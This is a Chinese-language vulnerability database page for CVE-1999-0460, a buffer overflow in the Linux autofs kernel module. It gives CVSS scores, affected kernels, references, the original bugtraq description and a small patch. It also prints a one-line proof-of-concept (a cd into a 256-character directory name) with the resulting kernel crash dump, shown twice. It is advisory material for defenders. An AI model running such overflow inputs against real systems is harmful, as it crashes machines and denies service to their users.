CVE-1999-0460
CVSS2.1
发布时间 :1999-02-19 00:00:00
修订时间 :2008-09-05 16:17:19
NMCOES    

[原文]Buffer overflow in Linux autofs module through long directory names allows local users to perform a denial of service.


[CNNVD]Linux autofs漏洞(CNNVD-199902-039)

        带有长目录名称的Linux autofs模块存在缓冲区溢出漏洞。本地用户可以执行服务拒绝。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.1
cpe:/o:linux:linux_kernel:2.0
cpe:/o:linux:linux_kernel:2.3.0Linux Kernel 2.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0460
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0460
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199902-039
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/312
(VENDOR_ADVISORY)  BID  312

- 漏洞信息

Linux autofs漏洞
低危 缓冲区溢出
1999-02-19 00:00:00 2005-10-20 00:00:00
本地  
        带有长目录名称的Linux autofs模块存在缓冲区溢出漏洞。本地用户可以执行服务拒绝。

- 公告与补丁

        The author has been notified of the problem and a quick-fix patch is available below.
        --- root.c.orig Thu Feb 18 20:26:23 1999
        +++ root.c Thu Feb 18 20:26:17 1999
        @@ -217,6 +217,11 @@
        DPRINTK(("autofs_root_lookup: name = "));
        autofs_say(dentry->d_name.name,dentry->d_name.len);
        + /* quick patch by balif@nacs.net 2-18-99 */
        + /* Prevents overflow of pkt.name in waitq.c:autofs_notify_daemon() */
        + if (dentry->d_name.len > 255)
        + return -ENAMETOOLONG;
        + if (!S_ISDIR(dir->i_mode))
        return -ENOTDIR;

- 漏洞信息 (19250)

Linux kernel 2.0/2.1/2.2 autofs Vulnerability (EDBID:19250)
linux local
1999-02-19 Verified
0 Brian Jones
N/A [点击下载]
source: http://www.securityfocus.com/bid/312/info

The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.

The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .

In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:

[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`

invalid operand: 0000

CPU: 0

EIP: 0010:[<c0155b00>]

EFLAGS: 00010282

eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000

esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8

ds: 0018 es: 0018 ss: 0018

Process bash (pid: 360, process nr: 21, stackpage=c26c5000)

Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8

c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900

Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>]

[<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>]

Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74

-{Shell dies}-

		

- 漏洞信息

5919
Linux autofs Directory Name DoS
Local Access Required Denial of Service
Loss of Availability Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

1999-02-18 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Linux autofs Vulnerability
Boundary Condition Error 312
No Yes
1999-02-19 12:00:00 2009-07-11 12:16:00
First posted to bugtraq by on Feb 19, 1999 by Brian Jones <balif@SHELL.NACS.NET>.

- 受影响的程序版本

Linux kernel 2.2
Linux kernel 2.1
Linux kernel 2.0

- 漏洞讨论

The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.

The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry-&gt;d_name.name and dentry-&gt;d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry-&gt;d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .

- 漏洞利用

In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:

[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`

invalid operand: 0000

CPU: 0

EIP: 0010:[&lt;c0155b00&gt;]

EFLAGS: 00010282

eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000

esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8

ds: 0018 es: 0018 ss: 0018

Process bash (pid: 360, process nr: 21, stackpage=c26c5000)

Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8

c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900

Call Trace: [&lt;c0154c58&gt;] [&lt;c0154ca8&gt;] [&lt;c0154def&gt;] [&lt;c0154ef7&gt;] [&lt;c0128759&gt;]

[&lt;c0128912&gt;] [&lt;c01289e9&gt;] [&lt;c012126e&gt;] [&lt;c0107a40&gt;]

Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74

-{Shell dies}-

- 解决方案

The author has been notified of the problem and a quick-fix patch is available below.

--- root.c.orig Thu Feb 18 20:26:23 1999

+++ root.c Thu Feb 18 20:26:17 1999

@@ -217,6 +217,11 @@

DPRINTK(("autofs_root_lookup: name = "));

autofs_say(dentry->d_name.name,dentry->d_name.len);

+ /* quick patch by balif@nacs.net 2-18-99 */

+ /* Prevents overflow of pkt.name in waitq.c:autofs_notify_daemon() */

+ if (dentry->d_name.len > 255)

+ return -ENAMETOOLONG;

+ if (!S_ISDIR(dir->i_mode))

return -ENOTDIR;

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站